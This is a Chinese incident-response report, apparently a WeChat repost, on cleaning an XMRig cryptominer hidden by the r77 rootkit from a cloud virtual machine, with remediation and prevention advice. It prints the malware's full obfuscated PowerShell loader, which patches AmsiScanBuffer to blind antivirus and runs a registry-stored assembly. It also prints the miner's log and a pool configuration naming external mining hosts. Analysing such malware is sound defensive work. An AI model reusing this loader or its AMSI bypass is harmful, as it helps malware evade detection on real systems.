01
背景
通过查看态势感知告警信息,发现IP为11.xx.xx.136的资产存在大量的中危告警,攻击方式有暴力破解【中危】、恶意IP【中危】、僵木蠕【中危】、挖矿软件【中危】、主机对外攻击【中危】、风险软件【低危】等,经初步判断中低危攻击方式均由挖矿病毒引起。
通过与甲方沟通,得知该IP资产位于本地云的虚拟机。经沟通好相关风险和配合需求后,开始对该主机进行处置。
02
挖矿病毒发现过程
登录该服务器查看CPU状态,发现CPU占用率峰值达100%,初步查看详细信息,发现CPU占用较高的均为任务管理器等正常程序。
查看用户列表,发现存在有adm和adm$异常账户。
在任务计划程序中查看定时计划任务,发现存在$77svc32和$77svc64的定时计划。
定时计划任务的操作为执行powershell脚本,powershell脚本已做免杀。
"function Local:QQzZlnhXnaIT{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$lnYrrZaZIvgFzh,[Parameter(Position=1)][Type]$UGkgctHYZu)$UgFFicoQQls=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'ef'+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+'d'+'D'+[Char](101)+''+[Char](108)+'e'+'g'+''+[Char](97)+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+''+'e'+'m'+[Char](111)+''+[Char](114)+''+'y'+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+[Char](101)+''+'l'+''+'e'+'g'+[Char](97)+''+[Char](116)+'eT'+[Char](121)+''+[Char](112)+''+'e'+'','Cl'+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+''+[Char](105)+'c'+','+''+[Char](83)+''+[Char](101)+''+'a'+''+[Char](108)+''+[Char](101)+''+'d'+''+','+''+[Char](65)+'ns'+'i'+'Cl'+'a'+'s'+[Char](115)+''+[Char](44)+'Aut'+[Char](111)+'C'+[Char](108)+''+[Char](97)+'s'+'s'+'',[MulticastDelegate]);$UgFFicoQQls.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+[Char](112)+'e'+[Char](99)+'i'+[Char](97)+''+'l'+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+[Char](121)+'S'+[Char](105)+''+'g'+''+[Char](44)+'P'+[Char](117)+''+'b'+'l'+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$lnYrrZaZIvgFzh).SetImplementationFlags('R'+[Char](117)+'nti'+'m'+''+'e'+','+'M'+'a'+[Char](110)+''+[Char](97)+''+'g'+'ed');$UgFFicoQQls.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+'b'+'l'+'i'+'c'+''+[Char](44)+''+[Char](72)+'i'+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+'S'+''+'i'+'g,N'+'e'+''+'w'+''+[Char](83)+''+[Char](108)+'o'+[Char](116)+''+','+''+'V'+'i'+[Char](114)+'tu'+[Char](97)+'l',$UGkgctHYZu,$lnYrrZaZIvgFzh).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+'a'+''+[Char](110)+''+'a'+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $UgFFicoQQls.CreateType();}$DMxrasjfUrpLl=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('')[-1].Equals(''+[Char](83)+''+'y'+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+'d'+''+[Char](108)+''+'l'+'')}).GetType('Mi'+'c'+''+[Char](114)+'o'+[Char](115)+''+[Char](111)+''+[Char](102)+''+'t'+''+[Char](46)+''+[Char](87)+'in'+[Char](51)+''+[Char](50)+''+[Char](46)+''+'U'+''+'n'+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+'D'+''+[Char](77)+'x'+'r'+''+'a'+''+'s'+''+[Char](106)+''+[Char](102)+''+[Char](85)+''+[Char](114)+''+[Char](112)+''+'L'+'l');$ilVJoRiAErFDwm=$DMxrasjfUrpLl.GetMethod('i'+'l'+''+[Char](86)+''+'J'+'o'+[Char](82)+''+[Char](105)+'A'+[Char](69)+''+[Char](114)+''+[Char](70)+'D'+'w'+''+'m'+'',[Reflection.BindingFlags]''+[Char](80)+'u'+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+'t'+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$fFPtQwYZzpYDGFNbxTQ=QQzZlnhXnaIT @([String])([IntPtr]);$rHvZTAyOJbrbomUrgRoihJ=QQzZlnhXnaIT @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$LGzOBGhhdGg=$DMxrasjfUrpLl.GetMethod('Ge'+[Char](116)+''+[Char](77)+'o'+[Char](100)+''+'u'+'l'+'e'+''+[Char](72)+'a'+'n'+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+''+'n'+''+'e'+''+'l'+'3'+[Char](50)+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')));$FMuiNrkHoJYyuM=$ilVJoRiAErFDwm.Invoke($Null,@([Object]$LGzOBGhhdGg,[Object](''+'L'+''+'o'+''+[Char](97)+''+[Char](100)+''+'L'+''+'i'+''+'b'+''+[Char](114)+''+'a'+'r'+[Char](121)+''+[Char](65)+'')));$rJzTMEpPdnNzGUvkr=$ilVJoRiAErFDwm.Invoke($Null,@([Object]$LGzOBGhhdGg,[Object]('V'+[Char](105)+''+[Char](114)+''+'t'+''+'u'+''+'a'+'l'+'P'+''+'r'+''+'o'+'te'+'c'+''+'t'+'')));$qaWcIwF=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FMuiNrkHoJYyuM,$fFPtQwYZzpYDGFNbxTQ).Invoke(''+'a'+''+[Char](109)+'s'+[Char](105)+'.d'+'l'+'l');$VUAaxrNYPHnCpQULF=$ilVJoRiAErFDwm.Invoke($Null,@([Object]$qaWcIwF,[Object](''+[Char](65)+''+'m'+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+'a'+'n'+''+[Char](66)+'u'+[Char](102)+'fer')));$oKWsvUplHy=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rJzTMEpPdnNzGUvkr,$rHvZTAyOJbrbomUrgRoihJ).Invoke($VUAaxrNYPHnCpQULF,[uint32]8,4,[ref]$oKWsvUplHy);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$VUAaxrNYPHnCpQULF,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rJzTMEpPdnNzGUvkr,$rHvZTAyOJbrbomUrgRoihJ).Invoke($VUAaxrNYPHnCpQULF,[uint32]8,0x20,[ref]$oKWsvUplHy);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+'FT'+'W'+''+[Char](65)+''+'R'+''+'E'+'').GetValue(''+'$'+'7'+'7'+''+'s'+''+[Char](116)+'a'+'g'+'er')).EntryPoint.Invoke($Null,$Null)
查看端口开放信息,发现708、757端口对外开放。
通过相关特征及网上信息收集,基本上可以判断该主机受到挖矿病毒攻击,但是未发现挖矿病毒具体路径。
03
挖矿病毒处置
挖矿病毒通过Rootkit将注册表、文件、目录、进程等进行了隐藏。这里可以通过使用TestConsole.exe工具可以将隐藏文件还原。TestConsole.exe工具包含于r77-rootkit工具包。
该工具包介绍如下:R77 是一个 Ring 3 rootkit,它可以隐藏文件、目录、注册表项和值、服务、TCP/UDP连接、命名管道、计划任务能。
官网地址:https://bytecode77.com/r77-rootkit
通过运行TestConsole.exe,在run菜单栏下执行install.exe和uninstall.exe即可还原隐藏文件。
解除文件隐藏后,发现以下隐藏的文件/信息,我们要着重对以下隐藏的文件/信息进行分析,以免存有残留使得挖矿病毒死灰复燃。
隐藏的PID:
隐藏的程序:
隐藏的路径(重点):
隐藏的服务:
同时在进程中发现存在了$77_前缀的异常程序。
在C:PerfLogssys文件夹下发现挖矿病毒文件。
在任务管理器中发现“Oracle services”占用CPU高达51.5%,于是结束该进程。
通过定位,发现运行有C:PerfLogssys文件夹下的程序。
使用火绒将C:PerfLogssys文件夹进行粉碎处理。切记一定要将上面发现到的程序、服务、进程等删除干净。有进程也注入到了scvhost.exe的进程中,需要根据端口绑定的pid在任务管理器中锁定scvhost.exe,将该进程结束掉。
再次查看端口开放信息,发现708、757端口已不在对外开放。
在定时计划任务中将$77svc32和$77svc64的定时计划删除。
在用户列表中将adm账户删除。
并在用户目录下将adm用户文件删除。
由于adm$账户无法删除,于是设定该密码口令为强口令,并设置“用户不能更改密码”、“用户已禁用”。
修改该主机administrator账户口令满足复杂度要求,并更新、启用火绒杀毒软件。
经24小时后复查,未发现上述挖矿病毒运行特征。至此,该主机挖矿病毒已处置完成。
04
挖矿病毒简要分析
查看C:PerfLogsSys文件夹中挖矿病毒的相关配置文件并分析:
1. $77_ExecuteOracle.exe.config
这是一个XML格式的配置文件,通常用于配置 .NET Framework 应用程序。其中包含了应用程序的启动信息和一些运行时配置指令。
2. $77loader.log
11/01/2024 14:42:18 ColorDC Script starting
11/01/2024 14:42:18 ColorM Checking DNS
11/01/2024 14:42:29 ColorG --the server address is set 5.133.65.53
11/01/2024 14:42:30 ColorM Search proxy server file
11/01/2024 14:42:30 ColorG --Found in C:PerfLogsSys
11/01/2024 14:42:30 ColorG --found in C:WindowsSoftwareDistribution
11/01/2024 14:42:30 ColorM Check direct access to 5.133.65.53
11/01/2024 14:42:32 ColorR --no found direct access via HTTPS
11/01/2024 14:42:32 ColorR --no found direct access via HTTP
11/01/2024 14:42:32 ColorM Check working
11/01/2024 14:42:33 ColorM Search open ports
11/01/2024 14:54:48 ColorG --757 found 177 potential proxys
11/01/2024 14:54:48 ColorM Cleaning
11/01/2024 14:54:48 ColorG --cleaning is complete
11/01/2024 14:54:48 ColorM Adding custom files to hide, if necessary
11/01/2024 14:54:48 ColorG --not enable
11/01/2024 14:54:48 ColorM Adding a user, if necessary
11/01/2024 14:54:55 ColorG --complete
11/01/2024 14:54:55 ColorM Adding firewall rules, if necessary
11/01/2024 14:54:55 ColorG --complete
11/01/2024 14:54:55 ColorM Checking pools and add proxys, if necessary
11/01/2024 14:54:56 ColorG --complete
11/01/2024 14:54:56 ColorM Checking update via proxy
11/01/2024 14:55:01 ColorG --local version 1.2.26.0
11/01/2024 14:55:01 ColorG --server version 1.1.72.0
11/01/2024 14:55:24 ColorR --no direct downloading RMS, try via proxy
11/01/2024 14:55:24 ColorM Checking download RMS via proxy
11/01/2024 14:55:27 ColorG --RMS server version 6.3
11/01/2024 14:55:27 ColorG --trying download
11/01/2024 14:56:34 ColorG --file RMS download via 11.16.72.56
11/01/2024 14:56:35 ColorM Opening 999 port
11/01/2024 14:56:35 ColorG --complete
11/01/2024 14:56:35 ColorDC Next update in 01/11/2024 17:43:15
可以看到它向外连接了5.133.65.53地址,该地址为公共矿池,且每3小时重新启动一次$77_oracle.exe。
3. config.json
{
"api": {
"id": null,
"worker-id": null
},
"http": {
"enabled": true,
"host": "0.0.0.0",
"port": 999,
"access-token": null,
"restricted": true
},
"autosave": true,
"background": false,
"colors": true,
"title": true,
"randomx": {
"init": -1,
"init-avx2": -1,
"mode": "auto",
"1gb-pages": false,
"rdmsr": true,
"wrmsr": true,
"cache_qos": false,
"numa": true,
"scratchpad_prefetch_mode": 1
},
"cpu": {
"enabled": true,
"huge-pages": true,
"huge-pages-jit": false,
"hw-aes": null,
"priority": null,
"memory-pool": false,
"yield": true,
"asm": true,
"argon2-impl": null,
"argon2": [0, 1],
"cn": [
[1, 0],
[1, 1]
],
"rx": [0, 1],
"rx/wow": [0, 1],
"cn/0": false,
"rx/arq": "rx/wow",
"rx/keva": "rx/wow"
},
"log-file": null,
"donate-level": 0,
"donate-over-proxy": 0,
"pools": [
{
"algo": null,
"coin": null,
"url": "11.104.63.49:703",
"user": "Server",
"pass": "x",
"rig-id": null,
"nicehash": true,
"keepalive": false,
"enabled": true,
"tls": true,
"tls-fingerprint": null,
"daemon": false,
"socks5": null,
"self-select": null,
"submit-to-origin": false
},
{
"algo": null,
"coin": null,
"url": "11.104.63.139:703",
"user": "Server",
"pass": "x",
"rig-id": null,
"nicehash": true,
"keepalive": false,
"enabled": true,
"tls": true,
"tls-fingerprint": null,
"daemon": false,
"socks5": null,
"self-select": null,
"submit-to-origin": false
},
{
"algo": null,
"coin": null,
"url": "11.104.66.137:703",
"user": "Server",
"pass": "x",
"rig-id": null,
"nicehash": true,
"keepalive": false,
"enabled": true,
"tls": true,
"tls-fingerprint": null,
"daemon": false,
"socks5": null,
"self-select": null,
"submit-to-origin": false
},
{
"algo": null,
"coin": null,
"url": "11.104.66.148:703",
"user": "Server",
"pass": "x",
"rig-id": null,
"nicehash": true,
"keepalive": false,
"enabled": true,
"tls": true,
"tls-fingerprint": null,
"daemon": false,
"socks5": null,
"self-select": null,
"submit-to-origin": false
},
{
"algo": null,
"coin": null,
"url": "11.104.73.137:703",
"user": "Server",
"pass": "x",
"rig-id": null,
"nicehash": true,
"keepalive": false,
"enabled": true,
"tls": true,
"tls-fingerprint": null,
"daemon": false,
"socks5": null,
"self-select": null,
"submit-to-origin": false
},
{
"algo": null,
"coin": null,
"url": "5.133.65.56:80",
"user": "SERVER",
"pass": "x",
"rig-id": null,
"nicehash": true,
"keepalive": false,
"enabled": true,
"tls": true,
"tls-fingerprint": null,
"daemon": false,
"socks5": null,
"self-select": null,
"submit-to-origin": false
},
{
"algo": null,
"coin": null,
"url": "5.133.65.53:34444",
"user": "SERVER",
"pass": "x",
"rig-id": null,
"nicehash": true,
"keepalive": false,
"enabled": true,
"tls": true,
"tls-fingerprint": null,
"daemon": false,
"socks5": null,
"self-select": null,
"submit-to-origin": false
},
{
"algo": null,
"coin": null,
"url": "5.133.65.54:34444",
"user": "SERVER",
"pass": "x",
"rig-id": null,
"nicehash": true,
"keepalive": false,
"enabled": true,
"tls": true,
"tls-fingerprint": null,
"daemon": false,
"socks5": null,
"self-select": null,
"submit-to-origin": false
},
{
"algo": null,
"coin": null,
"url": "5.133.65.55:34444",
"user": "SERVER",
"pass": "x",
"rig-id": null,
"nicehash": true,
"keepalive": false,
"enabled": true,
"tls": true,
"tls-fingerprint": null,
"daemon": false,
"socks5": null,
"self-select": null,
"submit-to-origin": false
},
{
"algo": null,
"coin": null,
"url": "5.133.65.56:34444",
"user": "SERVER",
"pass": "x",
"rig-id": null,
"nicehash": true,
"keepalive": false,
"enabled": true,
"tls": true,
"tls-fingerprint": null,
"daemon": false,
"socks5": null,
"self-select": null,
"submit-to-origin": false
}
],
"retries": 5,
"retry-pause": 3,
"print-time": 60,
"dmi": true,
"syslog": false,
"tls": {
"enabled": false,
"protocols": null,
"cert": null,
"cert_key": null,
"ciphers": null,
"ciphersuites": null,
"dhparam": null
},
"dns": {
"ipv6": false,
"ttl": 30
},
"user-agent": null,
"verbose": 0,
"watch": true,
"pause-on-battery": false,
"pause-on-active": false
}
可以看到内网中有主机(11.0.0.148等)沦陷为矿池代理服务器,同时还有5.133.65.53、5.133.65.54、5.133.65.55、5.133.65.56等互联网公共矿池。
4. $77_Loader.exe
运行$77_Loader.exe,等待程序运行,可以捕捉到XMRig运行程序,程序截图显示挖矿病毒正在不断的向矿池连接。
XMRig,也被称为xmrig挖矿病毒,是一种全球范围内的恶意软件。它主要通过多种途径传播,包括恶意邮件附件、网络下载、漏洞利用和植入攻击者控制的网页等。一旦设备被感染,病毒会利用设备的计算资源进行加密货币挖掘,以获取利益。
XMRig挖矿病毒具有独特的特征和行为。它通过下载脚本并执行来进行挖矿操作,占用CPU资源,导致系统性能下降。此外,XMRig挖矿病毒还可能具有自我保护机制,以避免被杀毒软件和安全工具检测和清除。
为了防止设备受到XMRig挖矿病毒的攻击,用户应采取相应的安全措施。这包括保持操作系统和应用程序的更新,及时安装安全补丁,避免点击可疑链接和下载未知来源的附件,使用可靠的杀毒软件和防火墙等。
如果设备已经感染了XMRig挖矿病毒,可能会出现占用大量资源进行挖矿操作,导致计算机性能下降,操作卡顿,以及资源不足等问题。在这种情况下,应立即采取措施,如断开与网络的连接,使用可靠的杀毒软件进行全盘扫描和清除病毒,更新操作系统和应用程序的补丁,删除可疑文件和定时任务,重置系统的安全设置,加强权限控制,避免应用运行在root用户下,清除病毒留下的痕迹等。
05
总结
该挖矿病毒为xmrig挖矿病毒,通过Rootkit技术隐藏自己的存在,并利用受感染计算机的计算资源进行加密货币挖矿操作,而无需用户的明确许可。Rootkit通常会修改操作系统或系统内核的核心组件,从而在系统层面上隐藏其存在,使其难以被检测和清除。
预防措施:
安装可靠的安全软件:及时更新杀毒软件和防火墙,并进行全面的系统扫描,确保系统不受病毒和木马的感染。
不下载和运行来历不明的文件:尽量不要从未知或不可信任的网站下载和运行任何文件,包括软件、游戏、插件等等。
更新操作系统和应用程序:定期更新操作系统和应用程序,以修复已知漏洞并提高系统安全性。
关注系统性能:如果计算机的性能异常下降,例如卡顿、电力消耗增加和风扇噪音变大等情况,应立即检查是否存在Rootkit挖矿病毒。
不轻易使用管理员权限:限制管理员权限可以减少恶意软件对计算机的攻击范围。
使用强密码认证:使用强密码认证可以提高账户和系统的安全性。
避免访问不安全的网站和链接:避免访问不安全的网站和链接可以减少恶意软件的感染机会。
定期备份重要数据:在计算机受到攻击后,备份的数据可以帮助恢复受影响的文件和系统。
06
彩蛋
以下是和ESET官方对该病毒的邮件回复。
原文始发于微信公众号(Matrix1024):XMRig挖矿病毒应急处置【Rootkit】
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论